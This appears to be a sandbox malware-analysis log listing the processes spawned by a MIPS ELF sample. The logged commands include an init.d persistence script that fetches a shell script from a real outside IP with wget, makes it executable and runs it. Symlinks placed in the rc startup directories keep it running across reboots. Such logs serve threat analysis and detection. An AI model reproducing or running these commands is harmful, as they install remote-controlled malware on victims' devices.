                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:-
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/bin/ln
                                                                                                Arguments:ln -s /etc/init.d/system /etc/rcS.d/S99system
                                                                                                File size:76160 bytes
                                                                                                MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf"
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1"
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:-
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/bin/chmod
                                                                                                Arguments:chmod +x /etc/init.d/mips.nn.elf
                                                                                                File size:63864 bytes
                                                                                                MD5 hash:739483b900c045ae1374d6f53a86a279

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:-
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/bin/mkdir
                                                                                                Arguments:mkdir -p /etc/rc.d
                                                                                                File size:88408 bytes
                                                                                                MD5 hash:088c9d1df5a28ed16c726eca15964cb7

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1"
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:-
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/bin/ln
                                                                                                Arguments:ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf
                                                                                                File size:76160 bytes
                                                                                                MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:51
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:51
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/lib/udisks2/udisksd
                                                                                                Arguments:-
                                                                                                File size:483056 bytes
                                                                                                MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/sbin/dumpe2fs
                                                                                                Arguments:dumpe2fs -h /dev/dm-0
                                                                                                File size:31112 bytes
                                                                                                MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/lib/systemd/systemd
                                                                                                Arguments:-
                                                                                                File size:1620224 bytes
                                                                                                MD5 hash:9b2bec7092a40488108543f9334aab75

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                                                                Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                                                                File size:22760 bytes
                                                                                                MD5 hash:3633b075f40283ec938a2a6a89671b0e

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:51
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/lib/udisks2/udisksd
                                                                                                Arguments:-
                                                                                                File size:483056 bytes
                                                                                                MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:51
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/sbin/dumpe2fs
                                                                                                Arguments:dumpe2fs -h /dev/dm-0
                                                                                                File size:31112 bytes
                                                                                                MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:51
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/lib/udisks2/udisksd
                                                                                                Arguments:-
                                                                                                File size:483056 bytes
                                                                                                MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:51
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/sbin/dumpe2fs
                                                                                                Arguments:dumpe2fs -h /dev/dm-0
                                                                                                File size:31112 bytes
                                                                                                MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                                                                Chronological Activities